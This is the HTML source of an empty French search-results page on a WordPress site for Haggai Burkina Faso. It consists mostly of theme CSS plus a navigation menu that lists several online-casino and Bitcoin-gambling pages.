p{padding-bottom:0}embed,iframe,object,video{max-width:100%}h1,h2,h3,h4,h5,h6{color:#333;padding-bottom:10px;line-height:1em;font-weight:500}h1 a,h2 a,h3 a,h4 a,h5 a,h6 a{color:inherit}h1{font-size:30px}h2{font-size:26px}h3{font-size:22px}h4{font-size:18px}h5{font-size:16px}h6{font-size:14px}input{-webkit-appearance:none}input[type=checkbox]{-webkit-appearance:checkbox}input[type=radio]{-webkit-appearance:radio}input.text,input.title,input[type=email],input[type=password],input[type=tel],input[type=text],select,textarea{background-color:#fff;border:1px solid #bbb;padding:2px;color:#4e4e4e}input.text:focus,input.title:focus,input[type=text]:focus,select:focus,textarea:focus{border-color:#2d3940;color:#3e3e3e}input.text,input.title,input[type=text],select,textarea{margin:0}textarea{padding:4px}button,input,select,textarea{font-family:inherit}img{max-width:100%;height:auto}.clear{clear:both}br.clear{margin:0;padding:0}.pagination{clear:both}#et_search_icon:hover,.et-social-icon a:hover,.et_password_protected_form .et_submit_button,.form-submit .et_pb_buttontton.alt.disabled,.nav-single a,.posted_in a{color:#2ea3f2}.et-search-form,blockquote{border-color:#2ea3f2}#main-content{background-color:#fff}.container{width:80%;max-width:1080px;margin:auto;position:relative}body:not(.et-tb) #main-content .container,body:not(.et-tb-has-header) #main-content .container{padding-top:58px}.et_full_width_page #main-content .container:before{display:none}.main_title{margin-bottom:20px}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{background:rgba(0,0,0,.05)}.et_button_icon_visible .et_pb_button{padding-right:2em;padding-left:.7em}.et_button_icon_visible .et_pb_button:after{opacity:1;margin-left:0}.et_button_left .et_pb_button:hover:after{left:.15em}.et_button_left .et_pb_button:after{margin-left:0;left:1em}.et_button_icon_visible.et_button_left .et_pb_button,.et_button_left .et_pb_button:hover,.et_button_left .et_pb_module .et_pb_button:hover{padding-left:2em;padding-right:.7em}.et_button_icon_visible.et_button_left .et_pb_button:after,.et_button_left .et_pb_button:hover:after{left:.15em}.et_password_protected_form .et_submit_button:hover,.form-submit .et_pb_button:hover{padding:.3em 1em}.et_button_no_icon .et_pb_button:after{display:none}.et_button_no_icon.et_button_icon_visible.et_button_left .et_pb_button,.et_button_no_icon.et_button_left .et_pb_button:hover,.et_button_no_icon .et_pb_button,.et_button_no_icon .et_pb_button:hover{padding:.3em 1em!important}.et_button_custom_icon .et_pb_button:after{line-height:1.7em}.et_button_custom_icon.et_button_icon_visible .et_pb_button:after,.et_button_custom_icon .et_pb_button:hover:after{margin-left:.3em}#left-area .post_format-post-format-gallery .wp-block-gallery:first-of-type{padding:0;margin-bottom:-16px}.entry-content table:not(.variations){border:1px solid #eee;margin:0 0 15px;text-align:left;width:100%}.entry-content thead th,.entry-content tr th{color:#555;font-weight:700;padding:9px 24px}.entry-content tr td{border-top:1px solid #eee;padding:6px 24px}#left-area ul,.entry-content ul,.et-l--body ul,.et-l--footer ul,.et-l--header ul{list-style-type:disc;padding:0 0 23px 1em;line-height:26px}#left-area ol,.entry-content ol,.et-l--body ol,.et-l--footer ol,.et-l--header ol{list-style-type:decimal;list-style-position:inside;padding:0 0 23px;line-height:26px}#left-area ul li ul,.entry-content ul li ol{padding:2px 0 2px 20px}#left-area ol li ul,.entry-content ol li ol,.et-l--body ol li ol,.et-l--footer ol li ol,.et-l--header ol li ol{padding:2px 0 2px 35px}#left-area ul.wp-block-gallery{display:-webkit-box;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;list-style-type:none;padding:0}#left-area ul.products{padding:0!important;line-height:1.7!important;list-style:none!important}.gallery-item a{display:block}.gallery-caption,.gallery-item a{width:90%}#wpadminbar{z-index:100001}#left-area .post-meta{font-size:14px;padding-bottom:15px}#left-area .post-meta a{text-decoration:none;color:#666}#left-area .et_featured_image{padding-bottom:7px}.single .post{padding-bottom:25px}body.single .et_audio_content{margin-bottom:-6px}.nav-single a{text-decoration:none;color:#2ea3f2;font-size:14px;font-weight:400}.nav-previous{float:left}.nav-next{float:right}.et_password_protected_form p input{background-color:#eee;border:none!important;width:100%!important;border-radius:0!important;font-size:14px;color:#999!important;padding:16px!important;-webkit-box-sizing:border-box;box-sizing:border-box}.et_password_protected_form label{display:none}.et_password_protected_form .et_submit_button{font-family:inherit;display:block;float:right;margin:8px auto 0;cursor:pointer}.post-password-required p.nocomments.container{max-width:100%}.post-password-required p.nocomments.container:before{display:none}.aligncenter,div.post .new-post .aligncenter{display:block;margin-left:auto;margin-right:auto}.wp-caption{border:1px solid #ddd;text-align:center;background-color:#f3f3f3;margin-bottom:10px;max-width:96%;padding:8px}.wp-caption.alignleft{margin:0 30px 20px 0}.wp-caption.alignright{margin:0 0 20px 30px}.wp-caption img{margin:0;padding:0;border:0}.wp-caption p.wp-caption-text{font-size:12px;padding:0 4px 5px;margin:0}.alignright{float:right}.alignleft{float:left}img.alignleft{display:inline;float:left;margin-right:15px}img.alignright{display:inline;float:right;margin-left:15px}.page.et_pb_pagebuilder_layout #main-content{background-color:transparent}body #main-content .et_builder_inner_content>h1,body #main-content .et_builder_inner_content>h2,body #main-content .et_builder_inner_content>h3,body #main-content .et_builder_inner_content>h4,body #main-content .et_builder_inner_content>h5,body #main-content .et_builder_inner_content>h6{line-height:1.4em}body #main-content .et_builder_inner_content>p{line-height:1.7em}.wp-block-pullquote{margin:20px 0 30px}.wp-block-pullquote.has-background blockquote{border-left:none}.wp-block-group.has-background{padding:1.5em 1.5em .5em}@media (min-width:981px){#left-area{width:79.125%;padding-bottom:23px}#main-content .container:before{content:"";position:absolute;top:0;height:100%;width:1px;background-color:#e2e2e2}.et_full_width_page #left-area,.et_no_sidebar #left-area{float:none;width:100%!important}.et_full_width_page #left-area{padding-bottom:0}.et_no_sidebar #main-content .container:before{display:none}}@media (max-width:980px){#page-container{padding-top:80px}.et-tb #page-container,.et-tb-has-header #page-container{padding-top:0!important}#left-area,#sidebar{width:100%!important}#main-content .container:before{display:none!important}.et_full_width_page .et_gallery_item:nth-child(4n+1){clear:none}}@media print{#page-container{padding-top:0!important}}#wp-admin-bar-et-use-visual-builder a:before{font-family:ETmodules!important;content:"\e625";font-size:30px!important;width:28px;margin-top:-3px;color:#974df3!important}#wp-admin-bar-et-use-visual-builder:hover a:before{color:#fff!important}#wp-admin-bar-et-use-visual-builder:hover a,#wp-admin-bar-et-use-visual-builder a:hover{transition:background-color .5s ease;-webkit-transition:background-color .5s ease;-moz-transition:background-color .5s ease;background-color:#7e3bd0!important;color:#fff!important}* html .clearfix,:first-child+html .clearfix{zoom:1}.iphone .et_pb_section_video_bg video::-webkit-media-controls-start-playback-button{display:none!important;-webkit-appearance:none}.et_mobile_device .et_pb_section_parallax .et_pb_parallax_css{background-attachment:scroll}.et-social-facebook a.icon:before{content:"\e093"}.et-social-twitter a.icon:before{content:"\e094"}.et-social-google-plus a.icon:before{content:"\e096"}.et-social-instagram a.icon:before{content:"\e09a"}.et-social-rss a.icon:before{content:"\e09e"}.ai1ec-single-event:after{content:" ";display:table;clear:both}.evcal_event_details .evcal_evdata_cell .eventon_details_shading_bot.eventon_details_shading_bot{z-index:3}.wp-block-divi-layout{margin-bottom:1em}*{-webkit-box-sizing:border-box;box-sizing:border-box}#et-info-email:before,#et-info-phone:before,#et_search_icon:before,.comment-reply-link:after,.et-cart-info span:before,.et-pb-arrow-next:before,.et-pb-arrow-prev:before,.et-social-icon a:before,.et_audio_container .mejs-playpause-button button:before,.et_audio_container .mejs-volume-button button:before,.et_overlay:before,.et_password_protected_form .et_submit_button:after,.et_pb_button:after,.et_pb_contact_reset:after,.et_pb_contact_submit:after,.et_pb_font_icon:before,.et_pb_newsletter_button:after,.et_pb_pricing_table_button:after,.et_pb_promo_button:after,.et_pb_testimonial:before,.et_pb_toggle_title:before,.form-submit .et_pb_button:after,.mobile_menu_bar:before,a.et_pb_more_button:after{font-family:ETmodules!important;speak:none;font-style:normal;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;text-shadow:0 0;direction:ltr}.et-pb-icon,.et_pb_custom_button_icon.et_pb_button:after,.et_pb_login .et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:after,.et_pb_woo_custom_button_icon .button.et_pb_custom_button_icon.et_pb_button:hover:after{content:attr(data-icon)}.et-pb-icon{font-family:ETmodules;speak:none;font-weight:400;-webkit-font-feature-settings:normal;font-feature-settings:normal;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;font-size:96px;font-style:normal;display:inline-block;-webkit-box-sizing:border-box;box-sizing:border-box;direction:ltr}#et-ajax-saving{display:none;-webkit-transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,-webkit-box-shadow .3s;transition:background .3s,box-shadow .3s;transition:background .3s,box-shadow .3s,-webkit-box-shadow .3s;-webkit-box-shadow:rgba(0,139,219,.247059) 0 0 60px;box-shadow:0 0 60px rgba(0,139,219,.247059);position:fixed;top:50%;left:50%;width:50px;height:50px;background:#fff;border-radius:50px;margin:-25px 0 0 -25px;z-index:999999;text-align:center}#et-ajax-saving img{margin:9px}.et-safe-mode-indicator,.et-safe-mode-indicator:focus,.et-safe-mode-indicator:hover{-webkit-box-shadow:0 5px 10px rgba(41,196,169,.15);box-shadow:0 5px 10px rgba(41,196,169,.15);background:#29c4a9;color:#fff;font-size:14px;font-weight:600;padding:12px;line-height:16px;border-radius:3px;position:fixed;bottom:30px;right:30px;z-index:999999;text-decoration:none;font-family:Open Sans,sans-serif;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.et_pb_button{font-size:20px;font-weight:500;padding:.3em 1em;line-height:1.7em!important;background-color:transparent;background-size:cover;background-position:50%;background-repeat:no-repeat;border:2px solid;border-radius:3px;-webkit-transition-duration:.2s;transition-duration:.2s;-webkit-transition-property:all!important;transition-property:all!important}.et_pb_button,.et_pb_button_inner{position:relative}.et_pb_button:hover,.et_pb_module .et_pb_button:hover{border:2px solid transparent;padding:.3em 2em .3em .7em}.et_pb_button:hover{background-color:hsla(0,0%,100%,.2)}.et_pb_bg_layout_light.et_pb_button:hover,.et_pb_bg_layout_light .et_pb_button:hover{background-color:rgba(0,0,0,.05)}.et_pb_button:after,.et_pb_button:before{font-size:32px;line-height:1em;content:"\35";opacity:0;position:absolute;margin-left:-1em;-webkit-transition:all .2s;transition:all .2s;text-transform:none;-webkit-font-feature-settings:"kern" off;font-feature-settings:"kern" off;font-variant:none;font-style:normal;font-weight:400;text-shadow:none}.et_pb_button.et_hover_enabled:hover:after,.et_pb_button.et_pb_hovered:hover:after{-webkit-transition:none!important;transition:none!important}.et_pb_button:before{display:none}.et_pb_button:hover:after{opacity:1;margin-left:0}.et_pb_column_1_3 h1,.et_pb_column_1_4 h1,.et_pb_column_1_5 h1,.et_pb_column_1_6 h1,.et_pb_column_2_5 h1{font-size:26px}.et_pb_column_1_3 h2,.et_pb_column_1_4 h2,.et_pb_column_1_5 h2,.et_pb_column_1_6 h2,.et_pb_column_2_5 h2{font-size:23px}.et_pb_column_1_3 h3,.et_pb_column_1_4 h3,.et_pb_column_1_5 h3,.et_pb_column_1_6 h3,.et_pb_column_2_5 h3{font-size:20px}.et_pb_column_1_3 h4,.et_pb_column_1_4 h4,.et_pb_column_1_5 h4,.et_pb_column_1_6 h4,.et_pb_column_2_5 h4{font-size:18px}.et_pb_column_1_3 h5,.et_pb_column_1_4 h5,.et_pb_column_1_5 h5,.et_pb_column_1_6 h5,.et_pb_column_2_5 h5{font-size:16px}.et_pb_column_1_3 h6,.et_pb_column_1_4 h6,.et_pb_column_1_5 h6,.et_pb_column_1_6 h6,.et_pb_column_2_5 h6{font-size:15px}.et_pb_bg_layout_dark,.et_pb_bg_layout_dark h1,.et_pb_bg_layout_dark h2,.et_pb_bg_layout_dark h3,.et_pb_bg_layout_dark h4,.et_pb_bg_layout_dark h5,.et_pb_bg_layout_dark h6{color:#fff!important}.et_pb_module.et_pb_text_align_left{text-align:left}.et_pb_module.et_pb_text_align_center{text-align:center}.et_pb_module.et_pb_text_align_right{text-align:right}.et_pb_module.et_pb_text_align_justified{text-align:justify}.clearfix:after{visibility:hidden;display:block;font-size:0;content:" ";clear:both;height:0}.et_pb_bg_layout_light .et_pb_more_button{color:#2ea3f2}.et_builder_inner_content{position:relative;z-index:1}header .et_builder_inner_content{z-index:2}.et_pb_css_mix_blend_mode_passthrough{mix-blend-mode:unset!important}.et_pb_image_container{margin:-20px -20px 29px}.et_pb_module_inner{position:relative}.et_hover_enabled_preview{z-index:2}.et_hover_enabled:hover{position:relative;z-index:2}.et_pb_all_tabs,.et_pb_module,.et_pb_posts_nav a,.et_pb_tab,.et_pb_with_background{position:relative;background-size:cover;background-position:50%;background-repeat:no-repeat}.et_pb_background_mask,.et_pb_background_pattern{bottom:0;left:0;position:absolute;right:0;top:0}.et_pb_background_mask{background-size:calc(100% + 2px) calc(100% + 2px);background-repeat:no-repeat;background-position:50%;overflow:hidden}.et_pb_background_pattern{background-position:0 0;background-repeat:repeat}.et_pb_with_border{position:relative;border:0 solid #333}.post-password-required .et_pb_row{padding:0;width:100%}.post-password-required .et_password_protected_form{min-height:0}body.et_pb_pagebuilder_layout.et_pb_show_title .post-password-required .et_password_protected_form h1,body:not(.et_pb_pagebuilder_layout) .post-password-required .et_password_protected_form h1{display:none}.et_pb_no_bg{padding:0!important}.et_overlay.et_pb_inline_icon:before,.et_pb_inline_icon:before{content:attr(data-icon)}.et_pb_more_button{color:inherit;text-shadow:none;text-decoration:none;display:inline-block;margin-top:20px}.et_parallax_bg_wrap{overflow:hidden;position:absolute;top:0;right:0;bottom:0;left:0}.et_parallax_bg{background-repeat:no-repeat;background-position:top;background-size:cover;position:absolute;bottom:0;left:0;width:100%;height:100%;display:block}.et_parallax_bg.et_parallax_bg__hover,.et_parallax_bg.et_parallax_bg_phone,.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient__hover,.et_parallax_gradient.et_parallax_gradient_phone,.et_parallax_gradient.et_parallax_gradient_tablet,.et_pb_section_parallax_hover:hover .et_parallax_bg:not(.et_parallax_bg__hover),.et_pb_section_parallax_hover:hover .et_parallax_gradient:not(.et_parallax_gradient__hover){display:none}.et_pb_section_parallax_hover:hover .et_parallax_bg.et_parallax_bg__hover,.et_pb_section_parallax_hover:hover .et_parallax_gradient.et_parallax_gradient__hover{display:block}.et_parallax_gradient{bottom:0;display:block;left:0;position:absolute;right:0;top:0}.et_pb_module.et_pb_section_parallax,.et_pb_posts_nav a.et_pb_section_parallax,.et_pb_tab.et_pb_section_parallax{position:relative}.et_pb_section_parallax .et_pb_parallax_css,.et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:fixed}body.et-bfb .et_pb_section_parallax .et_pb_parallax_css,body.et-bfb .et_pb_slides .et_parallax_bg.et_pb_parallax_css{background-attachment:scroll;bottom:auto}.et_pb_section_parallax.et_pb_column .et_pb_module,.et_pb_section_parallax.et_pb_row .et_pb_column,.et_pb_section_parallax.et_pb_row .et_pb_module{z-index:9;position:relative}.et_pb_more_button:hover:after{opacity:1;margin-left:0}.et_pb_preload .et_pb_section_video_bg,.et_pb_preload>div{visibility:hidden}.et_pb_preload,.et_pb_section.et_pb_section_video.et_pb_preload{position:relative;background:#464646!important}.et_pb_preload:before{content:"";position:absolute;top:50%;left:50%;background:url(http://haggai-bf.org/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif) no-repeat;border-radius:32px;width:32px;height:32px;margin:-16px 0 0 -16px}.box-shadow-overlay{position:absolute;top:0;left:0;width:100%;height:100%;z-index:10;pointer-events:none}.et_pb_section>.box-shadow-overlay~.et_pb_row{z-index:11}body.safari .section_has_divider{will-change:transform}.et_pb_row>.box-shadow-overlay{z-index:8}.has-box-shadow-overlay{position:relative}.et_clickable{cursor:pointer}.screen-reader-text{border:0;clip:rect(1px,1px,1px,1px);-webkit-clip-path:inset(50%);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute!important;width:1px;word-wrap:normal!important}.et_multi_view_hidden,.et_multi_view_hidden_image{display:none!important}@keyframes multi-view-image-fade{0%{opacity:0}10%{opacity:.1}20%{opacity:.2}30%{opacity:.3}40%{opacity:.4}50%{opacity:.5}60%{opacity:.6}70%{opacity:.7}80%{opacity:.8}90%{opacity:.9}to{opacity:1}}.et_multi_view_image__loading{visibility:hidden}.et_multi_view_image__loaded{-webkit-animation:multi-view-image-fade .5s;animation:multi-view-image-fade .5s}#et-pb-motion-effects-offset-tracker{visibility:hidden!important;opacity:0;position:absolute;top:0;left:0}.et-pb-before-scroll-animation{opacity:0}header.et-l.et-l--header:after{clear:both;display:block;content:""}.et_pb_module{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:.2s;animation-duration:.2s}@-webkit-keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes fadeBottom{0%{opacity:0;-webkit-transform:translateY(10%);transform:translateY(10%)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeLeft{0%{opacity:0;-webkit-transform:translateX(-10%);transform:translateX(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeRight{0%{opacity:0;-webkit-transform:translateX(10%);transform:translateX(10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@keyframes fadeTop{0%{opacity:0;-webkit-transform:translateY(-10%);transform:translateY(-10%)}to{opacity:1;-webkit-transform:translateX(0);transform:translateX(0)}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}.et-waypoint:not(.et_pb_counters){opacity:0}@media (min-width:981px){.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_column .et_pb_module:last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module.et-last-child,.et_pb_section.et_section_specialty div.et_pb_row .et_pb_column .et_pb_row_inner .et_pb_column .et_pb_module:last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_section div.et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}}@media (max-width:980px){.et_overlay.et_pb_inline_icon_tablet:before,.et_pb_inline_icon_tablet:before{content:attr(data-icon-tablet)}.et_parallax_bg.et_parallax_bg_tablet_exist,.et_parallax_gradient.et_parallax_gradient_tablet_exist{display:none}.et_parallax_bg.et_parallax_bg_tablet,.et_parallax_gradient.et_parallax_gradient_tablet{display:block}.et_pb_column .et_pb_module{margin-bottom:30px}.et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_pb_row .et_pb_column .et_pb_module:last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module.et-last-child,.et_section_specialty .et_pb_row .et_pb_column .et_pb_module:last-child{margin-bottom:0}.et_pb_more_button{display:inline-block!important}.et_pb_bg_layout_light_tablet.et_pb_button,.et_pb_bg_layout_light_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_light_tablet .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_tablet .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_tablet h1,.et_pb_bg_layout_light_tablet h2,.et_pb_bg_layout_light_tablet h3,.et_pb_bg_layout_light_tablet h4,.et_pb_bg_layout_light_tablet h5,.et_pb_bg_layout_light_tablet h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_tablet.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_tablet{color:#666!important}.et_pb_bg_layout_dark_tablet,.et_pb_bg_layout_dark_tablet h1,.et_pb_bg_layout_dark_tablet h2,.et_pb_bg_layout_dark_tablet h3,.et_pb_bg_layout_dark_tablet h4,.et_pb_bg_layout_dark_tablet h5,.et_pb_bg_layout_dark_tablet h6{color:#fff!important}.et_pb_bg_layout_dark_tablet.et_pb_button,.et_pb_bg_layout_dark_tablet.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_tablet .et_pb_more_button{color:inherit}.et_pb_bg_layout_dark_tablet .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-tablet{text-align:left}.et_pb_module.et_pb_text_align_center-tablet{text-align:center}.et_pb_module.et_pb_text_align_right-tablet{text-align:right}.et_pb_module.et_pb_text_align_justified-tablet{text-align:justify}}@media (max-width:767px){.et_pb_more_button{display:inline-block!important}.et_overlay.et_pb_inline_icon_phone:before,.et_pb_inline_icon_phone:before{content:attr(data-icon-phone)}.et_parallax_bg.et_parallax_bg_phone_exist,.et_parallax_gradient.et_parallax_gradient_phone_exist{display:none}.et_parallax_bg.et_parallax_bg_phone,.et_parallax_gradient.et_parallax_gradient_phone{display:block}.et-hide-mobile{display:none!important}.et_pb_bg_layout_light_phone.et_pb_button,.et_pb_bg_layout_light_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_light_phone .et_pb_more_button{color:#2ea3f2}.et_pb_bg_layout_light_phone .et_pb_forgot_password a{color:#666}.et_pb_bg_layout_light_phone h1,.et_pb_bg_layout_light_phone h2,.et_pb_bg_layout_light_phone h3,.et_pb_bg_layout_light_phone h4,.et_pb_bg_layout_light_phone h5,.et_pb_bg_layout_light_phone h6{color:#333!important}.et_pb_module .et_pb_bg_layout_light_phone.et_pb_button{color:#2ea3f2!important}.et_pb_bg_layout_light_phone{color:#666!important}.et_pb_bg_layout_dark_phone,.et_pb_bg_layout_dark_phone h1,.et_pb_bg_layout_dark_phone h2,.et_pb_bg_layout_dark_phone h3,.et_pb_bg_layout_dark_phone h4,.et_pb_bg_layout_dark_phone h5,.et_pb_bg_layout_dark_phone h6{color:#fff!important}.et_pb_bg_layout_dark_phone.et_pb_button,.et_pb_bg_layout_dark_phone.et_pb_module.et_pb_button,.et_pb_bg_layout_dark_phone .et_pb_more_button{color:inherit}.et_pb_module .et_pb_bg_layout_dark_phone.et_pb_button{color:#fff!important}.et_pb_bg_layout_dark_phone .et_pb_forgot_password a{color:#fff}.et_pb_module.et_pb_text_align_left-phone{text-align:left}.et_pb_module.et_pb_text_align_center-phone{text-align:center}.et_pb_module.et_pb_text_align_right-phone{text-align:right}.et_pb_module.et_pb_text_align_justified-phone{text-align:justify}}@media (max-width:479px){a.et_pb_more_button{display:block}}@media (min-width:768px) and (max-width:980px){[data-et-multi-view-load-tablet-hidden=true]:not(.et_multi_view_swapped){display:none!important}}@media (max-width:767px){[data-et-multi-view-load-phone-hidden=true]:not(.et_multi_view_swapped){display:none!important}}.et_pb_menu.et_pb_menu--style-inline_centered_logo .et_pb_menu__menu nav ul{-webkit-box-pack:center;-ms-flex-pack:center;justify-content:center}@-webkit-keyframes multi-view-image-fade{0%{-webkit-transform:scale(1);transform:scale(1);opacity:1}50%{-webkit-transform:scale(1.01);transform:scale(1.01);opacity:1}to{-webkit-transform:scale(1);transform:scale(1);opacity:1}}
/*# sourceURL=divi-style-parent-inline-inline-css */
</style>
<link rel='stylesheet' id='divi-dynamic-css' href='http://haggai-bf.org/wp-content/et-cache/search/et-divi-dynamic.css?ver=1780303556' media='all' />
<link rel='stylesheet' id='divi-style-css' href='http://haggai-bf.org/wp-content/themes/Divi-child/style.css?ver=4.27.6' media='all' />
<link rel="https://api.w.org/" href="https://haggai-bf.org/wp-json/" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://haggai-bf.org/xmlrpc.php?rsd" />
<meta name="generator" content="WordPress 7.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=0" /><link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF-150x150.png" sizes="32x32" />
<link rel="icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" sizes="192x192" />
<link rel="apple-touch-icon" href="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<meta name="msapplication-TileImage" content="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" />
<link rel="stylesheet" id="et-divi-customizer-global-cached-inline-styles" href="http://haggai-bf.org/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1780281736" /></head>
<body class="search search-no-results wp-custom-logo wp-theme-Divi wp-child-theme-Divi-child et_pb_button_helper_class et_fixed_nav et_show_nav et_primary_nav_dropdown_animation_fade et_secondary_nav_dropdown_animation_fade et_header_style_left et_pb_footer_columns4 et_cover_background et_pb_gutter et_pb_gutters3 et_right_sidebar et_divi_theme et-db">
	<div id="page-container">

	
	
			<header id="main-header" data-height-onload="66">
			<div class="container clearfix et_menu_container">
							<div class="logo_container">
					<span class="logo_helper"></span>
					<a href="https://haggai-bf.org/">
						<img src="https://haggai-bf.org/wp-content/uploads/2025/03/Logo_Haggai-BF.png" width="931" height="742" alt="HAGGAI BURKINA FASO" id="logo" data-height-percentage="54" />
					</a>
				</div>
							<div id="et-top-navigation" data-height="66" data-fixed-height="40">
											<nav id="top-menu-nav">
													<ul id="top-menu" class="nav">
																	<li ><a href="https://haggai-bf.org/">Accueil</a></li>
								
								<li class="page_item page-item-844"><a href="https://haggai-bf.org/bitcoin-jatszani-fiokellenorzes-utmutato/">Bitcoin játszani – fiókellenőrzés útmutató</a></li>
<li class="page_item page-item-840"><a href="https://haggai-bf.org/bitcoin-kasino-v-ceske-republice-kompletni-pruvodce-bonusy-rychle-vybery-a-bezpecnost/">Bitcoin kasino v České republice – kompletní průvodce, bonusy, rychlé výběry a bezpečnost</a></li>
<li class="page_item page-item-838"><a href="https://haggai-bf.org/btc-hrat-aplikace-a-mobilni-pruvodce/">BTC hrát: aplikace a mobilní průvodce</a></li>
<li class="page_item page-item-469"><a href="https://haggai-bf.org/canli-casino-siteleri-2026-en-iyi-ve-guvenilir-casino-listesi/">Canlı Casino Siteleri 2026 &#8211; En İyi ve Güvenilir Casino Listesi</a></li>
<li class="page_item page-item-832"><a href="https://haggai-bf.org/casino-bitcoin-guia-paso-a-paso-para-registrarte-e-iniciar-sesion/">Casino Bitcoin: guía paso a paso para registrarte e iniciar sesión</a></li>
<li class="page_item page-item-847"><a href="https://haggai-bf.org/crypto-casino-europe-review-bonuses-payments-mobile-guide-for-dutch-players/">Crypto Casino Europe Review – Bonuses, Payments &#038; Mobile Guide for Dutch Players</a></li>
<li class="page_item page-item-239"><a href="https://haggai-bf.org/magyar-casino-online-fiokellenorzes-lepesei-praktikus-utmutato/">Magyar casino online fiókellenőrzés lépései – Praktikus útmutató</a></li>
<li class="page_item page-item-41"><a href="https://haggai-bf.org/nous-contacter/">Nous contacter</a></li>
<li class="page_item page-item-828"><a href="https://haggai-bf.org/pin-up-az-rbaycanin-n-yaxsi-kazinosu-r-smi-sayt/">Pin Up &#8211; Azərbaycanın ən yaxşı kazinosu | Rəsmi sayt</a></li>
<li class="page_item page-item-826"><a href="https://haggai-bf.org/pin-up-casino-az-rbaycanda-onlayn-kazino-pin-up/">Pin Up Casino &#8211; Azərbaycanda onlayn kazino Pin-Up</a></li>
<li class="page_item page-item-821"><a href="https://haggai-bf.org/pin-up-casino-onlayn-az-rbaycan/">Pin Up Casino Onlayn Azərbaycan</a></li>
									<li class="cat-item cat-item-11"><a href="https://haggai-bf.org/category/public/">public</a>
</li>
							</ul>
												</nav>
					
					
					
											<div id="et_top_search">
							<span id="et_search_icon"></span>
						</div>
					
					<div id="et_mobile_nav_menu">
				<div class="mobile_nav closed">
					<span class="select_page">Sélectionner une page</span>
					<span class="mobile_menu_bar mobile_menu_bar_toggle"></span>
				</div>
			</div>				</div> <!-- #et-top-navigation -->
			</div> <!-- .container -->
						<div class="et_search_outer">
				<div class="container et_search_form_container">
					<form role="search" method="get" class="et-search-form" action="https://haggai-bf.org/">
					<input type="search" class="et-search-field" placeholder="Rechercher &hellip;" value="label/PHP-Shells" name="s" title="Rechercher:" />					</form>
					<span class="et_close_search_field"></span>
				</div>
			</div>
					</header> <!-- #main-header -->
			<div id="et-main-area">
	
<div id="main-content">
	<div class="container">
		<div id="content-area" class="clearfix">
			<div id="left-area">
		<div class="entry">
	<h1 class="not-found-title">Aucun résultat</h1>
	<p>La page demandée est introuvable. Essayez d&#039;affiner votre recherche ou utilisez le panneau de navigation ci-dessus pour localiser l&#039;article.</p>
</div>
			</div>

					</div>
	</div>
</div>


			<footer id="main-footer">
				

		
				<div id="footer-bottom">
					<div class="container clearfix">
				<ul class="et-social-icons">

	<li class="et-social-icon et-social-facebook">
		<a href="#" class="icon">
			<span>Facebook</span>
		</a>
	</li>
	<li class="et-social-icon et-social-twitter">
		<a href="#" class="icon">
			<span>X</span>
		</a>
	</li>
	<li class="et-social-icon et-social-instagram">
		<a href="#" class="icon">
			<span>Instagram</span>
		</a>
	</li>
	<li class="et-social-icon et-social-rss">
		<a href="https://haggai-bf.org/feed/" class="icon">
			<span>RSS</span>
		</a>
	</li>

